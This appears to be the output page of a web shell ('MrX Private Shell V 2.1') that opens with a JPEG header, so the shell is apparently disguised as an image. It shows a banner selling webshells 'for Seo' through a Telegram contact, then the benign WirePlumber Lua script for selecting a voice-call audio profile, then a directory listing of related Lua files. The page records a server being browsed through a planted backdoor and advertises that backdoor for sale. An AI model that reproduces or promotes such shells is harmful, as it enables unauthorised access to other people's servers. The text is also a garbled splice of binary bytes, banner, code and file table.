����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
-- WirePlumber
--
-- Copyright © 2022 Collabora Ltd.
-- Copyright © 2025 Richard Acayan
--
-- SPDX-License-Identifier: MIT
--
-- Find the best Voice Call profile for a device if there is an active call
-- (adapted from device/find-best-profile.lua)
cutils = require ("common-utils")
log = Log.open_topic ("s-device")
started = false
alsa_devs_om = ObjectManager {
Interest {
type = "device",
Constraint { "device.api", "=", "alsa" },
}
}
mm = Plugin.find ("modem-manager")
mm:connect ("voice-call-start", function ()
started = true
source = source or Plugin.find ("standard-event-source")
for device in alsa_devs_om:iterate () do
event = source:call ("push-event", "select-profile", device, nil)
end
end)
mm:connect ("voice-call-stop", function ()
started = false
source = source or Plugin.find ("standard-event-source")
for device in alsa_devs_om:iterate () do
event = source:call ("push-event", "select-profile", device, nil)
end
end)
SimpleEventHook {
name = "device/find-calling-profile",
before = "device/find-stored-profile",
interests = {
EventInterest {
Constraint { "event.type", "=", "select-profile" },
},
},
execute = function (event)
local selected_profile = event:get_data ("selected-profile")
if selected_profile then
return
end
if not started then
return
end
local device = event:get_subject ()
local dev_name = device.properties["device.name"] or ""
for p in device:iterate_params ("EnumProfile") do
local profile = cutils.parseParam (p, "EnumProfile")
local found = string.find (profile.name, "^Voice Call")
if profile.available == "yes" and found ~= nil then
if (not selected_profile) or selected_profile.priority < profile.priority then
selected_profile = profile
end
end
end
if selected_profile then
log:info (device, string.format (
"Found calling profile '%s' (%d) for device %s",
selected_profile.name, selected_profile.index, dev_name))
event:set_data ("selected-profile", selected_profile)
end
end
}:register ()
alsa_devs_om:activate ()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| apply-profile.lua | File | 1.78 KB | 0644 |
|
| apply-routes.lua | File | 3.41 KB | 0644 |
|
| automute-alsa-routes.lua | File | 7.08 KB | 0644 |
|
| autoswitch-bluetooth-profile.lua | File | 14.97 KB | 0644 |
|
| find-best-profile.lua | File | 2.21 KB | 0644 |
|
| find-best-routes.lua | File | 2.49 KB | 0644 |
|
| find-preferred-profile.lua | File | 2.09 KB | 0644 |
|
| find-voice-call-profile.lua | File | 2.12 KB | 0644 |
|
| select-profile.lua | File | 720 B | 0644 |
|
| select-routes.lua | File | 4.9 KB | 0644 |
|
| state-profile.lua | File | 4.11 KB | 0644 |
|
| state-routes.lua | File | 11.61 KB | 0644 |
|